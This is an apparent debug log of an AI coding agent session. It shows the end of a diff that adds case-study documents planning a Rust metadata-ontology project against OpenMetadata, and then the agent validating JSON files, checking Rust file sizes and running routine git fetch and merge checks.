them.\\n+\\n+Acceptance: schema validation runs in CI; JSON round trips preserve IDs and\\n+relationships; semantic exports declare unsupported/lossy fields.\\n+\\n+### Phase 5: service API (existing roadmap M3)\\n+\\n+Dependencies: stable Phases 1-4 contracts.\\n+\\n+1. Specify OpenAPI and error/pagination/concurrency conventions first.\\n+2. Implement read-only resources in `axum` over the library.\\n+3. Add mutation/import endpoints only with authentication, authorization,\\n+   limits, audit changes, and threat tests.\\n+4. Add health/readiness, structured logs, metrics, backup, and migration docs.\\n+\\n+Acceptance: generated client contract tests pass; malformed/expensive requests\\n+are bounded; library, CLI, and API return semantically consistent entities.\\n+\\n+### Phase 6: search and UI (existing roadmap M4)\\n+\\n+Dependencies: representative corpus and measured UX needs.\\n+\\n+1. Specify query semantics and benchmark linear search.\\n+2. Add a `SearchIndex` abstraction only if needed.\\n+3. Evaluate Tantivy if the baseline misses the target.\\n+4. Build UI against the public API/model, including provenance and validation\\n+   state rather than hiding them.\\n+\\n+Acceptance: a recorded benchmark justifies any new index; search relevance has\\n+golden queries; the UI has browser tests and accessibility checks.\\n+\\n+### Phase 7: governance enforcement and operations\\n+\\n+Dependencies: mutating service and real multi-user requirements.\\n+\\n+1. Turn owner, lifecycle, classification, and policy references into evaluated\\n+   actor/resource/operation rules.\\n+2. Add audit retention and policy decision tests.\\n+3. Add connector scheduling only when recurring jobs require it.\\n+4. Document upgrades, restore drills, incident response, and supported versions.\\n+\\n+Acceptance: deny/allow tests cover every mutation class; restore drills recover\\n+data and history; operational objectives are explicit.\\n+\\n+## Cross-cutting test strategy\\n+\\n+- Unit tests: IDs, normalization, fingerprints, rules, diagnostic codes.\\n+- Property tests: parser/serializer round trips and arbitrary graph safety.\\n+- Golden fixtures: version migrations, import reports, API schemas.\\n+- Integration tests: source-to-normalized-to-validated-to-change pipeline.\\n+- Compatibility tests: old lino data and public CLI behavior.\\n+- Security tests: payload limits, traversal bounds, secret redaction, policy.\\n+- Benchmarks: loader, validation, traversal, and search before optimization.\\n+- WASM tests: dependencies and public types compile for the M4 target.\\n+\\n+## Final recommendation\\n+\\n+Approve Phases 1 and 2 as the first product follow-up. They create the stable\\n+identity, validation, and evidence foundation required by every later practice.\\n+Do not begin with connectors, HTTP, search, or deployment infrastructure: doing\\n+so would freeze weak contracts behind expensive boundaries.\\ndiff --git a/docs/case-studies/issue-5/source-inventory.md b/docs/case-studies/issue-5/source-inventory.md\\nnew file mode 100644\\nindex 0000000..faa9cd9\\n--- /dev/null\\n+++ b/docs/case-studies/issue-5/source-inventory.md\\n@@ -0,0 +1,93 @@\\n+# Source Inventory and Research Method\\n+\\n+## Method\\n+\\n+The investigation used the GitHub API/CLI for repository state and official\\n+OpenMetadata documentation and source repositories for technical claims.\\n+Marketing claims and time-sensitive counts are treated as observations, not as\\n+architecture requirements. Access date for every online source: 2026-07-12.\\n+\\n+## Local issue and pull request\\n+\\n+| Evidence | Observation |\\n+| --- | --- |\\n+| [Issue 5](https://github.com/link-foundation/meta-ontology/issues/5) | Open; asks for data collection, deep online research, complete requirements, solution options, plans, and component/library evaluation in one PR |\\n+| [PR 6](https://github.com/link-foundation/meta-ontology/pull/6) | Draft placeholder on branch `issue-5-e2602184e2c5` at collection time |\\n+| Issue comments API | No comments |\\n+| PR review comments API | No inline comments |\\n+| PR conversation comments API | No comments |\\n+| PR reviews API | No reviews |\\n+| [Issue 1 case study](../issue-1/README.md) | Establishes this repository's requirements/research/plan precedent |\\n+| [Issue 3 case study](../issue-3/README.md) | Establishes the collected-evidence and explicit-root-cause precedent |\\n+\\n+## OpenMetadata repository snapshot\\n+\\n+The [OpenMetadata repository](https://github.com/open-metadata/OpenMetadata)\\n+reported Apache-2.0 licensing, `main` as its default branch, and a multi-language\\n+codebase. The latest GitHub release observed was\\n+[`1.13.1-release`](https://github.com/open-metadata/OpenMetadata/releases/tag/1.13.1-release),\\n+published 2026-06-27. Counts such as stars, forks, connectors, schemas, or open\\n+issues are intentionally not used to choose this repository's architecture.\\n+\\n+Relevant upstream areas:\\n+\\n+- [`openmetadata-spec`](https://github.com/open-metadata/OpenMetadata/tree/main/openmetadata-spec):\\n+  canonical JSON Schemas and generated model inputs.\\n+- [`openmetadata-service`](https://github.com/open-metadata/OpenMetadata/tree/main/openmetadata-service):\\n+  server, repositories, APIs, authorization, and event handling.\\n+- [`ingestion`](https://github.com/open-metadata/OpenMetadata/tree/main/ingestion):\\n+  connector and workflow framework.\\n+- [`openmetadata-ui`](https://github.com/open-metadata/OpenMetadata/tree/main/openmetadata-ui):\\n+  web application kept separate from the metadata service.\\n+- [`openmetadata-clients`](https://github.com/open-metadata/OpenMetadata/tree/main/openmetadata-clients):\\n+  generated/client-facing access layers.\\n+- [Contribution guide](https://docs.open-metadata.org/v1.12.x/developers/contribute):\\n+  issue-based contribution and local build/test workflow.\\n+\\n+## Primary technical documentation\\n+\\n+| Topic | Source | Evidence used |\\n+| --- | --- | --- |\\n+| Metadata standard | [Metadata Standard](https://docs.open-metadata.org/v1.11.x/api-reference/main-concepts/metadata-standard) | Canonical, language-neutral schemas drive generated models and APIs |\\n+| REST conventions | [APIs](https://docs.open-metadata.org/v1.12.x/api-reference/main-concepts/metadata-standard/apis) | Schema-first resources, versioned `/api/v1` namespace, consistent collection/instance URIs |\\n+| Connector architecture | [Metadata ingestion deep dive](https://docs.open-metadata.org/v1.12.x/developers/contribute/codebase-deep-dives/metadata-ingestion) | Source-to-sink pipeline, topology, result/error handling, fingerprint-based incremental ingestion |\\n+| Ingestion capabilities | [Ingestion overview](https://docs.open-metadata.org/v1.12.x/connectors/ingestion) | Metadata, usage, lineage, profiling, quality, and versioning are distinct workflows |\\n+| Lineage | [Lineage deep dive](https://docs.open-metadata.org/v1.12.x/developers/contribute/codebase-deep-dives/lineage-ingestion) | Relationships are extracted, resolved, and published as graph data |\\n+| Connector schemas | [Define the JSON Schema](https://docs.open-metadata.org/latest/developers/contribute/developing-a-new-connector/define-json-schema) | One connection schema generates consistent Java, Python, and TypeScript types |\\n+| Governance | [Data Governance](https://docs.open-metadata.org/v1.12.x/how-to-guides/data-governance) | Glossaries, classifications, ownership, and policies are first-class concepts |\\n+| Glossary semantics | [Glossary Term](https://docs.open-metadata.org/v1.12.x/how-to-guides/data-governance/glossary/glossary-term) | Definitions, synonyms, related terms, tags, and references form a semantic graph |\\n+| Domains | [Domains and Data Products](https://docs.open-metadata.org/v1.12.x/how-to-guides/data-governance/domains-%26-data-products) | Domain ownership and discoverable, documented products support decentralized stewardship |\\n+| Authorization | [Roles and Policies](https://docs.open-metadata.org/v1.12.x/how-to-guides/admin-guide/roles-policies) | Authorization evaluates actor, resource attributes, and operation |\\n+| Quality model | [Data Quality API](https://docs.open-metadata.org/v1.12.x/api-reference/data-quality) | Reusable definitions, applied cases, suites, and results separate rule from execution |\\n+| Observability | [Quality and Observability](https://docs.open-metadata.org/v1.12.x/how-to-guides/data-quality-observability) | Tests, profiling, alerts, and incident handling form a feedback loop |\\n+| Deployment/security | [Deployment](https://docs.open-metadata.org/v1.12.x/deployment) and [Security](https://docs.open-metadata.org/v1.12.x/deployment/security) | Production operations and identity-provider integration are explicit concerns |\\n+\\n+## External standards and candidate components\\n+\\n+These are evaluated as interoperability options, not mandatory dependencies.\\n+\\n+| Need | Candidate | Intended use |\\n+| --- | --- | --- |\\n+| Data contract validation | [JSON Schema 2020-12](https://json-schema.org/draft/2020-12) | Portable interchange schema; keep lino canonical if desired |\\n+| Semantic graph exchange | [RDF 1.2](https://www.w3.org/TR/rdf12-concepts/) / [OWL 2](https://www.w3.org/TR/owl2-overview/) | Import/export and ontology-tool interoperability |\\n+| Graph constraints | [SHACL](https://www.w3.org/TR/shacl12-core/) | Express portable graph validity rules |\\n+| Provenance | [PROV-O](https://www.w3.org/TR/prov-o/) | Map source, agent, derivation, and activity metadata |\\n+| Lineage events | [OpenLineage](https://openlineage.io/docs/spec/) | Future pipeline lineage interchange, not core concept storage |\\n+| Rust serialization | [`serde`](https://docs.rs/serde/latest/serde/) | Typed interchange models |\\n+| Rust JSON Schema | [`schemars`](https://docs.rs/schemars/latest/schemars/) | Generate JSON Schema from Rust types |\\n+| Schema validation | [`jsonschema`](https://docs.rs/jsonschema/latest/jsonschema/) | Validate imported/exported JSON |\\n+| Stable identifiers | [`uuid`](https://docs.rs/uuid/latest/uuid/) | UUID identity when content-derived IDs are unsuitable |\\n+| HTTP service | [`axum`](https://docs.rs/axum/latest/axum/) | Existing roadmap choice for M3 |\\n+| API description | [`utoipa`](https://docs.rs/utoipa/latest/utoipa/) | Generate OpenAPI from Rust endpoint types |\\n+| Embedded search | [`tantivy`](https://docs.rs/tantivy/latest/tantivy/) | Optional local full-text index before external search infrastructure |\\n+| Graph algorithms | [`petgraph`](https://docs.rs/petgraph/latest/petgraph/) | Cycle, reachability, and integrity analysis if custom traversal becomes costly |\\n+\\n+## Reproducibility notes\\n+\\n+- Documentation versions are included in URLs where the official site exposed a\\n+  stable version. `latest` links should be rechecked before implementation.\\n+- The compact JSON snapshots record mutable facts. Full upstream repository\\n+  contents are not vendored because that would add millions of unrelated files\\n+  and create licensing/update noise.\\n+- Recommendations are reasoned adaptations to the current repository; they are\\n+  not claims that OpenMetadata implements the exact proposed Rust design.\\nD  .gitkeep\\nA  changelog.d/20260712_openmetadata_case_study.md\\nA  docs/case-studies/issue-5/README.md\\nA  docs/case-studies/issue-5/openmetadata-analysis.md\\nA  docs/case-studies/issue-5/raw-data/issue-5.json\\nA  docs/case-studies/issue-5/raw-data/research-observations.json\\nA  docs/case-studies/issue-5/requirements-and-solutions.md\\nA  docs/case-studies/issue-5/source-inventory.md\\n\",\"exit_code\":0,\"status\":\"completed\"}}\n[2026-07-12T04:07:40.058Z] [INFO] \n[2026-07-12T04:07:40.092Z] [INFO] 2026-07-12T04:07:40.092011Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:07:40.092Z] [INFO] \n[2026-07-12T04:07:40.140Z] [INFO] 2026-07-12T04:07:40.139930Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: feedback_tags: model=\"gpt-5.6-sol\" approval_policy=Never sandbox_policy=DangerFullAccess effort=Some(Medium) auth_mode=Some(Chatgpt) features=[ShellTool, CodexHooks, CodeModeHost, UnifiedExec, TerminalResizeReflow, ShellSnapshot, EnableRequestCompression, Collab, Apps, ToolSearchAlwaysDeferMcpTools, ToolSuggest, Plugins, InAppBrowser, BrowserUse, BrowserUseFullCdpAccess, BrowserUseExternal, ComputerUse, RemotePlugin, PluginSharing, ImageGeneration, ResizeAllImages, SkillMcpDependencyInstall, MentionsV2, GuardianApproval, Goals, ToolCallMcpElicitation, AuthElicitation, Personality, FastMode, RemoteCompactionV2, WorkspaceDependencies, Sqlite, Steer, CollaborationModes, TuiAppServer]\n[2026-07-12T04:07:40.140Z] [INFO] \n[2026-07-12T04:07:40.154Z] [INFO] 2026-07-12T04:07:40.153840Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:07:40.154Z] [INFO] \n[2026-07-12T04:07:40.158Z] [INFO] 2026-07-12T04:07:40.155253Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:07:40.158Z] [INFO] \n[2026-07-12T04:07:40.262Z] [INFO] 2026-07-12T04:07:40.262545Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.log_only: event.name=\"codex.websocket_request\" duration_ms=1 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:07:40.262Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:40.262Z] [INFO] \n[2026-07-12T04:07:40.270Z] [INFO] 2026-07-12T04:07:40.263143Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.trace_safe: event.name=\"codex.websocket_request\" duration_ms=1 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:07:40.263Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:40.270Z] [INFO] 2026-07-12T04:07:40.263170Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: feedback_tags: endpoint=\"/responses\" auth_header_attached=true auth_header_name=\"authorization\" auth_mode=\"Chatgpt\" auth_retry_after_unauthorized=\"false\" auth_recovery_mode=\"\" auth_recovery_phase=\"\" auth_connection_reused=\"true\" auth_request_id=\"\" auth_cf_ray=\"\" auth_error=\"\" auth_error_code=\"\" auth_recovery_followup_success=\"\" auth_recovery_followup_status=\"\" auth_env_openai_api_key_present=false auth_env_codex_api_key_present=false auth_env_codex_api_key_enabled=true auth_env_provider_key_name=\"\" auth_env_provider_key_present=\"\" auth_env_refresh_token_url_override_present=false\n[2026-07-12T04:07:40.270Z] [INFO] \n[2026-07-12T04:07:40.288Z] [INFO] 2026-07-12T04:07:40.265539Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:07:40.288Z] [INFO] \n[2026-07-12T04:07:40.375Z] [INFO] 2026-07-12T04:07:40.374635Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:07:40.375Z] [INFO] 2026-07-12T04:07:40.374730Z DEBUG codex_http_client::default_client: Request completed method=POST url=https://chatgpt.com/backend-api/codex/analytics-events/events status=200 OK headers={\"date\": \"Sun, 12 Jul 2026 04:07:40 GMT\", \"content-type\": \"application/json\", \"content-length\": \"88\", \"connection\": \"keep-alive\", \"server\": \"cloudflare\", \"cross-origin-opener-policy\": \"same-origin-allow-popups\", \"x-oai-request-id\": \"a2300a39-0aa1-4a4d-9850-577977899880\", \"x-openai-proxy-wasm\": \"v0.1\", \"referrer-policy\": \"strict-origin-when-cross-origin\", \"cf-cache-status\": \"DYNAMIC\", \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\", \"x-content-type-options\": \"nosniff\", \"report-to\": \"{\\\"group\\\":\\\"cf-nel\\\",\\\"max_age\\\":604800,\\\"endpoints\\\":[{\\\"url\\\":\\\"https://a.nel.cloudflare.com/report/v4?s=zrMgfo%2BOQHo4Jzg1vQWAfkW5kvT1iTJ9vCrRjaMxDY5cca%2BDAZwUl8pcZVh0ftcGaMOiM2of58IowmtWIpQ87D1yCWjWsJPh0va0eRPiEQFjzWpmkRNn5TCju0yF\\\"}]}\", \"nel\": \"{\\\"report_to\\\":\\\"cf-nel\\\",\\\"success_fraction\\\":0.01,\\\"max_age\\\":604800}\", \"cf-ray\": \"a19d2eacebb47318-FRA\"} version=HTTP/1.1\n[2026-07-12T04:07:40.375Z] [INFO] \n[2026-07-12T04:07:41.042Z] [INFO] 2026-07-12T04:07:41.041549Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a53130d06f8819196b5ad540a745cfe\"), summary: [], content: Some([]), encrypted_content: Some(\"gAAAAABqUxMNvGzO1Ggs-gKs60N8aHMdrDZuw1PA9gEM9SccBw8gfFGqEB7m40uqOBJ1JBjHA-veihwhsnCzFTlincEnssLay1HHu3W-38ySoK4UYO9bsaG_oC_ftEo78LVonoZ4afJBavGglExZUvOe5z9HuT__zrvKqQbZeXOgWB707kC1mzFUXY-YRkHjayqHTrd2AdJvqospULvQO6Rq_3W1e672LdyQq-Y4W_sZaWAcujbDXcIpHBr6kbIgj16SZQrqG47BmqsCQm7hwWGMq9v102m1Nje7Nt_Fk59D-aGdVwRqSKW7VGVFwFzDKHs05CDRfrB7SOMAWW9O98IxzCbuZAgrR2OzVdnS6aqn6cqZTGtXBxZ9eTh2_FsV4oaJiF57SyKmRcvZdlD2CqFGJzTkCZa_IyUCvBweIU00Qn_mRooTy2fVv7vz2-UWc3cHMRgZ1tXscTjWhf7HfBHdOCdBrjsY4VesfCfkGhw1R9l77vVswvnJILFU5zRhziY3KwieR3uhqJre8WZfUYwpU7Ept012Z1Y4aWwGbtsSeWAD9H33sZUmqiScYVSB1SLscCbHRuPux33FG7xouhj3SpgQ1JPHpGtLmm2gpNmnhJBCWeMrYsGJ_UZ6v-P9e97QstgleSChpFFr5nS0iaBtj6_e2M4Ke_wiRtiYFOVjz5UsT7fI-qKIEiDxcRWiS96LWmvwLYE2pLAawtPWMS3DqWtM-Hvq_AOnZYXQ1klIHAsfE179YA5HREnO9mYS74CWDV3ld2H8eqewnX3R3BBzMalmflJaCsHMg6mRk-Z87YJyB6zgbR77Ho_wNfntb7exlGFcPLVKyQ7VbJglCbISd5nOB5XjCya2gZvIJRHomGOmXHQe_htGEBSchydRY9FGL7RfAuTA_rdLnZ20TL9GsNZAFI7tdA==\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:07:41.042Z] [INFO] \n[2026-07-12T04:07:44.028Z] [INFO] 2026-07-12T04:07:44.025195Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a53130d06f8819196b5ad540a745cfe\"), summary: [SummaryText { text: \"**Validating JSON and planning git fetch and merge**\" }], content: Some([]), encrypted_content: Some(\"gAAAAABqUxMQhUaolHF5fYjH_i8HdUEjtECeaV3KhPJg8yZKlg7LzC2Q-bdnI64k9Y9xZBwGse7q-F-h0Q3VqdJq5hNT3fx6qq9y0A948tMWg-A4dWD4nyr59Z3d4MRFDH93ee_BCtF4xAu6FYJvOa1wf8eAUMbZNs1Ti_Ac7_uf-3CczN_RsZPOJQr5z52OBkunP4T4colcKcEV3hL27t3Fe3f4CPT-slogqE9J2HNRFrQuoEnv1NIYNw-6Z0OmrkSH8uOs5BHHh52xwEV5ppjdC2hoHV7F_ZlXM8o1zCaptXe1z7Tf4GqhPgDaaeXFgMHh30n4ar8Ny6PuW-GVYnqW9LAL5ji-KLTFCZg9B7pUTb6U8ZNvxXtOURfV0cMTeHvEdv_di20dd9u3bFqUJJWDU3rMymZZsmtmitUtbYjkLGD2ud6knSGLQPGPCPivjtj_L4_ssGcIrwXPD6Ke_R1x7apBG-FuDsBKy7VTU2dU7KiI5L7Ay_6EAn-rCCZIWnJdRi4uRnIj5RA1usKUjZUEH2cFrvwilIRw02s71l7ORQ3MgNB_N1FPfdLl9jW9bTMueIhswDt02tU3uBt1aFsrNutbIdD7LjhxTUXUJ6qk2ZnXHYqlSw9bVKEufkpynxjzyLNqRvenhrgpsOf9bH1THkHjCm4IXX0VFKuKzq7nx6KGwC-QxUvt_oHHUcSFHnTYZ1PYzUrKFk38rRH-4T3nYXHIk5WhKSPTe1bjY5_1xnZTK_YjIWXiNdeOaH0sBFaLwD1faVPxnbJmETi4uCzlXAokD9NmzPgvmTLXTcQ5MbDgyT87X0gNNPmu1MQmJDVfvWj7b8Jha21Wv2tpMhOmDVzOcG-_dcaOSoGjXiUzmtZWXBv8nJOOS4bTcUht1rTFVJNCYqH1JH-Eq75QqwPV7Cy-weMppkXMkBEl_Ml2lz7wKU825mM0Vuo_5-wiWMZ_yAV3jCXLxOPdqBI-2KnJBxfZuMuNEKrcspQFS3OGkeYveY3ZFfk-FJ8RgK6WB0yRAwYB5kBBm-BDyJOam-c8_3-gtwn7-Fs0TZWUDRePmobRDzAejxFDGyMWYjOsNIl8zVfuUNR0b7M8PK7KUAoY7uOR0VpvMKjXV7QeDo7j-2PPqf894usv29tZk3IbUpz6j21fc2L5YqOD7OJm-4BNgKK3rO0XX84PjCCWtBr0M91ZnxMWBbDiBupFSyHN0ABGDdJh3fgG2OSDIIh9yeoy4vMSFL3ihaStN8iSkRmdZ0Do4koeKYJBWgCjnTWJvoG15C1guWQj2XZo0bRrb6T3oaKfou1f_InfMnjpdfVaVS6y4074xUIbp_fNUUDSiVq2T6pK6rISCZE3kPNJZMq7hB_Rffi6Iw==\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:07:44.028Z] [INFO] \n[2026-07-12T04:07:44.032Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_43\",\"type\":\"reasoning\",\"text\":\"**Validating JSON and planning git fetch and merge**\"}}\n[2026-07-12T04:07:44.032Z] [INFO] \n[2026-07-12T04:07:44.036Z] [INFO] 2026-07-12T04:07:44.030023Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=CustomToolCall { id: Some(\"ctc_0e255b39bbad6b0b016a53131002608191a59f4998b207dc25\"), status: Some(\"in_progress\"), call_id: \"call_xW0YP8Mqushw8BhjvtLBx6fB\", name: \"exec\", namespace: None, input: \"\", internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:07:44.036Z] [INFO] \n[2026-07-12T04:07:47.649Z] [INFO] 2026-07-12T04:07:47.624565Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: ToolCall: exec const r=await tools.exec_command({cmd:\"ruby -rjson -e 'ARGV.each { |f| JSON.parse(File.read(f)); puts \\\"valid JSON: #{f}\\\" }' docs/case-studies/issue-5/raw-data/*.json\\nfind . -type f -name '*.rs' -not -path './target/*' -not -path './.git/*' -print0 | xargs -0 wc -l | sort -n | tail -10\\nawk '$1 > 1000 { bad=1 } END { exit bad }' < <(find . -type f -name '*.rs' -not -path './target/*' -not -path './.git/*' -print0 | xargs -0 wc -l)\\ngit fetch origin main issue-5-e2602184e2c5 && git rev-parse origin/main && git merge-base --is-ancestor origin/main HEAD && echo 'origin/main is already in branch history'\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":30000,\"max_output_tokens\":10000}); text(r.output);\n[2026-07-12T04:07:47.649Z] [INFO]  thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77\n[2026-07-12T04:07:47.649Z] [INFO] 2026-07-12T04:07:47.633410Z  INFO feedback_tags: last_model_response_id=\"resp_0e255b39bbad6b0b016a53130c55f48191aa8c6bc3dae42f88\"\n[2026-07-12T04:07:47.649Z] [INFO] 2026-07-12T04:07:47.633469Z  INFO codex_otel.log_only: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=74726 output_token_count=325 cached_token_count=64256 reasoning_token_count=71 tool_token_count=75051 ttft_ms=780 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:07:47.633Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:47.649Z] [INFO] 2026-07-12T04:07:47.633490Z  INFO codex_otel.trace_safe: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=74726 output_token_count=325 cached_token_count=64256 reasoning_token_count=71 tool_token_count=75051 ttft_ms=780 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:07:47.633Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:47.649Z] [INFO] \n[2026-07-12T04:07:47.769Z] [INFO] 2026-07-12T04:07:47.767740Z  INFO codex_otel.log_only: event.name=\"codex.tool_decision\" tool_name=exec_command call_id=exec-cd8cc816-d301-4f5b-8cc5-d66eb27e29bb decision=approved source=Config event.timestamp=2026-07-12T04:07:47.767Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:47.769Z] [INFO] \n[2026-07-12T04:07:47.943Z] [INFO] {\"type\":\"item.started\",\"item\":{\"id\":\"item_44\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc \\\"ruby -rjson -e 'ARGV.each { |f| JSON.parse(File.read(f)); puts \\\\\\\"valid JSON: #{f}\\\\\\\" }' docs/case-studies/issue-5/raw-data/*.json\\nfind . -type f -name '*.rs' -not -path './target/*' -not -path './.git/*' -print0 | xargs -0 wc -l | sort -n | tail -10\\nawk '\\\"'$1 > 1000 { bad=1 } END { exit bad }'\\\"' < <(find . -type f -name '*.rs' -not -path './target/*' -not -path './.git/*' -print0 | xargs -0 wc -l)\\ngit fetch origin main issue-5-e2602184e2c5 && git rev-parse origin/main && git merge-base --is-ancestor origin/main HEAD && echo 'origin/main is already in branch history'\\\"\",\"aggregated_output\":\"\",\"exit_code\":null,\"status\":\"in_progress\"}}\n[2026-07-12T04:07:47.943Z] [INFO] \n[2026-07-12T04:07:48.538Z] [INFO] 2026-07-12T04:07:48.537465Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec_command 